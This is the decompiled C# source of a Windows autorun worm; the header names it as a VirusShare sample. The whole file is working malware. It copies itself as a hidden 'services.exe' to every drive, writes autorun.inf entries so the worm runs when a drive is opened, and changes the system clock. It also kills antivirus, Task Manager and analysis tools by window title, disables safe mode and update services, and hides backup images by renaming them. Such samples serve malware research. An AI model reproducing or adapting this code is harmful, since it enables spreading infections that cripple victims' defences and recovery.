// Decompiled with JetBrains decompiler
// Type: redice.Form1
// Assembly: redice, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A08BD253-D698-4C81-8053-905E15E13E56
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265.exe

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace redice
{
  public class Form1 : Form
  {
    private ExecRegedit objExecRegdit = new ExecRegedit();
    private IContainer components;
    private System.Windows.Forms.Timer timeCloseSafesoft;
    private System.Windows.Forms.Timer timerLong20;
    private System.Windows.Forms.Timer timerMid5;

    private int PrevInstance() => Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).GetUpperBound(0);

    public Form1() => this.InitializeComponent();

    private void Form1_Load(object sender, EventArgs e)
    {
      try
      {
        try
        {
          Process.GetCurrentProcess();
          string processName = Process.GetCurrentProcess().ProcessName;
          if (Process.GetCurrentProcess().ProcessName.ToLower().ToString().Equals("services"))
          {
            if (this.PrevInstance() > 1)
              Application.Exit();
          }
          else if (this.PrevInstance() > 0)
            Application.Exit();
        }
        catch
        {
        }
        try
        {
          this.hideForm();
        }
        catch
        {
        }
        try
        {
          this.changeSystemTime();
        }
        catch
        {
        }
        try
        {
          this.objExecRegdit.destroySafeMode();
        }
        catch
        {
        }
        try
        {
          this.objExecRegdit.delRegeditHideFile();
        }
        catch
        {
        }
        try
        {
          this.objExecRegdit.uodateRegeditAutoRun();
        }
        catch
        {
        }
        try
        {
          this.objExecRegdit.setIEStarPage();
        }
        catch
        {
        }
        try
        {
          this.objExecRegdit.changeIEtitle();
        }
        catch
        {
        }
      }
      catch
      {
      }
      try
      {
        if (!this.IsRemove(AppDomain.CurrentDomain.BaseDirectory.Substring(0, 1).ToUpper() + ":\\"))
          return;
        Process.Start("c:\\services.exe");
        Application.Exit();
      }
      catch
      {
      }
    }

    private void timeCloseSafesoft_Tick(object sender, EventArgs e)
    {
      try
      {
        this.closeSafeSoft();
      }
      catch
      {
      }
    }

    private void timerLong20_Tick(object sender, EventArgs e)
    {
      try
      {
        this.delUImmunityCreateAutorun();
      }
      catch
      {
      }
      try
      {
        this.copyVirusReName();
      }
      catch
      {
      }
    }

    private void timerMid5_Tick(object sender, EventArgs e)
    {
      try
      {
        this.changeSystemTime();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.destroySafeMode();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.fileImageHijack();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.delRegeditHideFile();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.recomposeFileRelating();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.delOtherVirusReg();
      }
      catch
      {
      }
      try
      {
        this.findAllGhoPath();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.killSafeServer();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.closeAutoUpdateAndSafeMiddle();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.uodateRegeditAutoRun();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.setIEStarPage();
      }
      catch
      {
      }
      try
      {
        this.objExecRegdit.changeIEtitle();
      }
      catch
      {
      }
    }

    private void copyVirusReName()
    {
      Process p = new Process();
      try
      {
        string[] logicalDrives = Environment.GetLogicalDrives();
        for (int index = 0; index < logicalDrives.Length; ++index)
        {
          string currentDirectory = Directory.GetCurrentDirectory();
          string fileName = Path.GetFileName(Application.ExecutablePath);
          string upper = logicalDrives[index].ToString().Substring(0, 1).ToUpper();
          if (!upper.Equals("A"))
          {
            if (!this.IsCDRom(logicalDrives[index].ToString()))
            {
              try
              {
                File.Copy(currentDirectory + "\\" + fileName, upper + ":\\services.exe", true);
                File.SetAttributes(upper + ":\\services.exe", FileAttributes.Normal);
                File.SetAttributes(upper + ":\\services.exe", FileAttributes.ReadOnly);
                FileAttributes attributes1 = File.GetAttributes(upper + ":\\services.exe");
                File.SetAttributes(upper + ":\\services.exe", attributes1 | FileAttributes.System);
                FileAttributes attributes2 = File.GetAttributes(upper + ":\\services.exe");
                File.SetAttributes(upper + ":\\services.exe", attributes2 | FileAttributes.Hidden);
                string str1 = upper + ":\\services.exe";
                string str2 = upper + ":\\hotice..\\";
                p = this.execCmd(p);
                Thread.Sleep(25);
                p.StandardInput.WriteLine("md " + upper + ":\\hotice..\\");
                string str3 = "copy " + str1 + " " + str2;
                Thread.Sleep(25);
                p.StandardInput.WriteLine(str3);
                p.Dispose();
                p.Close();
              }
              catch
              {
              }
            }
          }
        }
      }
      catch
      {
      }
    }

    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    private static extern int GetDriveType(string driveinfo);

    public bool IsCDRom(string driveInfo)
    {
      switch (driveInfo)
      {
        case "":
        case null:
          return false;
        default:
          return Form1.GetDriveType(driveInfo) == 5;
      }
    }

    public bool IsRemove(string driveInfo)
    {
      switch (driveInfo)
      {
        case "":
        case null:
          return false;
        default:
          return Form1.GetDriveType(driveInfo) == 2;
      }
    }

    private void delUImmunityCreateAutorun()
    {
      try
      {
        string[] logicalDrives = Environment.GetLogicalDrives();
        for (int index = 0; index < logicalDrives.Length; ++index)
        {
          string upper = logicalDrives[index].ToString().Substring(0, 1).ToUpper();
          if (!this.IsCDRom(logicalDrives[index].ToString()))
          {
            if (!upper.Equals("A"))
            {
              try
              {
                this.execDelUImmunityCreateAutorun(upper);
              }
              catch
              {
              }
            }
          }
        }
      }
      catch
      {
      }
    }

    private void execDelUImmunityCreateAutorun(string rootPath)
    {
      string path1 = rootPath + ":\\autorun.inf";
      if (File.Exists(path1))
      {
        File.SetAttributes(path1, FileAttributes.Normal);
        File.Delete(path1);
        this.buildAutoruninf(rootPath);
      }
      else if (Directory.Exists(path1))
      {
        File.SetAttributes(path1, FileAttributes.Normal);
        try
        {
          Directory.Delete(path1, true);
        }
        catch
        {
          Directory.GetFiles(path1);
          foreach (FileInfo file in new DirectoryInfo(path1).GetFiles())
          {
            string path2 = path1 + "\\" + file.ToString();
            File.SetAttributes(path2, FileAttributes.Normal);
            File.Delete(path2);
          }
        }
        try
        {
          Directory.Delete(path1, true);
        }
        catch
        {
          try
          {
            Process process = this.execCmd(new Process());
            string str = "rd /q/s " + rootPath + ":\\autorun.inf\\";
            process.StandardInput.WriteLine(str);
            process.Close();
          }
          catch
          {
          }
        }
        try
        {
          File.SetAttributes(path1, FileAttributes.Normal);
          Directory.Delete(path1, true);
        }
        catch
        {
        }
        this.buildAutoruninf(rootPath);
      }
      else
      {
        try
        {
          this.buildAutoruninf(rootPath);
        }
        catch
        {
        }
      }
    }

    private Process execCmd(Process p)
    {
      p.StartInfo.FileName = "cmd.exe";
      p.StartInfo.UseShellExecute = false;
      p.StartInfo.RedirectStandardInput = true;
      p.StartInfo.RedirectStandardOutput = true;
      p.StartInfo.RedirectStandardError = true;
      p.StartInfo.CreateNoWindow = true;
      p.Start();
      return p;
    }

    private void buildAutoruninf(string rootPath)
    {
      try
      {
        string path = rootPath + ":\\autorun.inf";
        File.SetAttributes(path, FileAttributes.Normal);
        Directory.Delete(path, true);
      }
      catch
      {
      }
      try
      {
        using (StreamWriter streamWriter = new StreamWriter(rootPath + ":\\autorun.inf"))
        {
          streamWriter.WriteLine("[autorun]");
          streamWriter.WriteLine("OPEN=" + rootPath + ":\\services.exe");
          streamWriter.WriteLine("shell\\open\\Command=" + rootPath + ":\\services.exe");
          streamWriter.WriteLine("shell\\open\\Default=");
          streamWriter.Write("shell\\explore\\Command=" + rootPath + ":\\services.exe");
        }
        File.SetAttributes(rootPath + ":\\autorun.inf", FileAttributes.Normal);
        File.SetAttributes(rootPath + ":\\autorun.inf", FileAttributes.ReadOnly);
        FileAttributes attributes1 = File.GetAttributes(rootPath + ":\\autorun.inf");
        File.SetAttributes(rootPath + ":\\autorun.inf", attributes1 | FileAttributes.System);
        FileAttributes attributes2 = File.GetAttributes(rootPath + ":\\autorun.inf");
        File.SetAttributes(rootPath + ":\\autorun.inf", attributes2 | FileAttributes.Hidden);
      }
      catch
      {
      }
    }

    private void findAllGhoPath()
    {
      try
      {
        string[] logicalDrives = Environment.GetLogicalDrives();
        for (int index = 0; index < logicalDrives.Length; ++index)
        {
          string upper = logicalDrives[index].ToString().Substring(0, 1).ToUpper();
          if (!this.IsCDRom(logicalDrives[index].ToString()))
          {
            if (!upper.Equals("A"))
            {
              try
              {
                this.delGhoGetPath(upper);
                this.delGhoGetPath(upper + ":\\sysbak\\");
                this.delGhoGetPath(upper + ":\\beifen\\");
              }
              catch
              {
              }
            }
          }
        }
      }
      catch
      {
      }
    }

    private void delGhoGetPath(string path)
    {
      try
      {
        if (path.Length == 1)
          this.checkDelGho(Directory.GetFiles(path + ":\\"));
        else
          this.checkDelGho(Directory.GetFiles(path));
      }
      catch
      {
      }
    }

    private void checkDelGho(string[] ghoRootPath)
    {
      foreach (string str1 in ghoRootPath)
      {
        int length = str1.Length;
        try
        {
          string str2 = str1.Substring(length - 4, 4);
          if (!str2.ToUpper().Equals(".GHO") && !str2.ToUpper().Equals(".BKF") && !str2.ToUpper().Equals(".PQI") && !str2.ToUpper().Equals(".TIB"))
          {
            if (!str2.ToUpper().Equals(".BAK"))
              continue;
          }
          File.SetAttributes(str1, FileAttributes.Normal);
          string str3 = str1 + ".bek";
          File.Move(str1, str3);
          File.SetAttributes(str3, FileAttributes.Hidden);
        }
        catch
        {
        }
      }
    }

    private void changeSystemTime()
    {
      try
      {
        Form1.SystemTime st = new Form1.SystemTime();
        Form1.LibWrapDateTime.GetLocalTime(st);
        st.wYear = (ushort) 2006;
        Form1.LibWrapDateTime.SetLocalTime(st);
      }
      catch
      {
      }
    }

    private void hideForm()
    {
      try
      {
        this.Hide();
      }
      catch
      {
      }
    }

    private void closeSafeSoft()
    {
      foreach (Process process in Process.GetProcesses())
      {
        try
        {
          if (process.MainWindowTitle.Length >= 1)
          {
            string mainWindowTitle = process.MainWindowTitle;
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "兔子拜佛专杀"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "报警"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "举报"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "流氓软件"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "恶意软件"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "IceSword"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "进程"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "系统配置"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "注册表"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "彻底清除"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "winrar"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "icesword"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "SYMANTEC"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "cmd"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "c:\\"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "d:\\"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "e:\\"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "f:\\"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "g:\\"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "h:\\"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "i:\\"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "j:\\"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "求救"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "日本の陛下"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "日文学习"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "任务管理器"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "btbaicai"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "wopticlean"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "IE修复"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "新病毒"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "procexp"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "autoruns"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "GMER"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "PAVARK"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "提取"))
              process.Kill();
            if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "上报"))
              process.Kill();
          }
          else
          {
            string processName = process.ProcessName;
            if (this.execCloseSafeSoftUnHaveTitle(processName, "AUTOUPDATE.EXE"))
              process.Kill();
            if (this.execCloseSafeSoftUnHaveTitle(processName, "AUTOTRACE.EXE"))
              process.Kill();
            if (this.execCloseSafeSoftUnHaveTitle(processName, "AUTODOWN.EXE"))
              process.Kill();
          }
        }
        catch
        {
        }
      }
    }

    private bool execCloseSafeSoftHaveTitle(string thisProcess, string title)
    {
      try
      {
        return thisProcess.ToString().ToUpper().IndexOf(title.ToUpper()) != -1;
      }
      catch
      {
        return false;
      }
    }

    private bool execCloseSafeSoftUnHaveTitle(string thisProcess, string process)
    {
      try
      {
        return thisProcess.ToString().ToUpper().Equals(process.ToUpper());
      }
      catch
      {
        return false;
      }
    }

    protected override void Dispose(bool disposing)
    {
      if (disposing && this.components != null)
        this.components.Dispose();
      base.Dispose(disposing);
    }

    private void InitializeComponent()
    {
      this.components = (IContainer) new Container();
      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
      this.timeCloseSafesoft = new System.Windows.Forms.Timer(this.components);
      this.timerLong20 = new System.Windows.Forms.Timer(this.components);
      this.timerMid5 = new System.Windows.Forms.Timer(this.components);
      this.SuspendLayout();
      this.timeCloseSafesoft.Enabled = true;
      this.timeCloseSafesoft.Interval = 1500;
      this.timeCloseSafesoft.Tick += new EventHandler(this.timeCloseSafesoft_Tick);
      this.timerLong20.Enabled = true;
      this.timerLong20.Interval = 20000;
      this.timerLong20.Tick += new EventHandler(this.timerLong20_Tick);
      this.timerMid5.Enabled = true;
      this.timerMid5.Interval = 10000;
      this.timerMid5.Tick += new EventHandler(this.timerMid5_Tick);
      this.AutoScaleMode = AutoScaleMode.None;
      this.BackColor = Color.White;
      this.BackgroundImageLayout = ImageLayout.None;
      this.ClientSize = new Size(112, 27);
      this.ControlBox = false;
      this.Cursor = Cursors.Hand;
      this.FormBorderStyle = FormBorderStyle.None;
      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
      this.MaximizeBox = false;
      this.MinimizeBox = false;
      this.Name = nameof (Form1);
      this.Opacity = 0.0;
      this.ShowIcon = false;
      this.ShowInTaskbar = false;
      this.SizeGripStyle = SizeGripStyle.Hide;
      this.StartPosition = FormStartPosition.Manual;
      this.TransparencyKey = Color.White;
      this.WindowState = FormWindowState.Minimized;
      this.Load += new EventHandler(this.Form1_Load);
      this.ResumeLayout(false);
    }

    private enum DriveType
    {
      NotExist = 1,
      FloppyOrUsb = 2,
      FixedDisk = 3,
      NetDisk = 4,
      CDRom = 5,
      RAMDisk = 6,
    }

    public class LibWrapDateTime
    {
      [DllImport("Kernel32.dll")]
      public static extern void GetLocalTime(Form1.SystemTime st);

      [DllImport("Kernel32.dll")]
      public static extern void SetLocalTime(Form1.SystemTime st);
    }

    [StructLayout(LayoutKind.Sequential)]
    public class SystemTime
    {
      public ushort wYear;
    }
  }
}
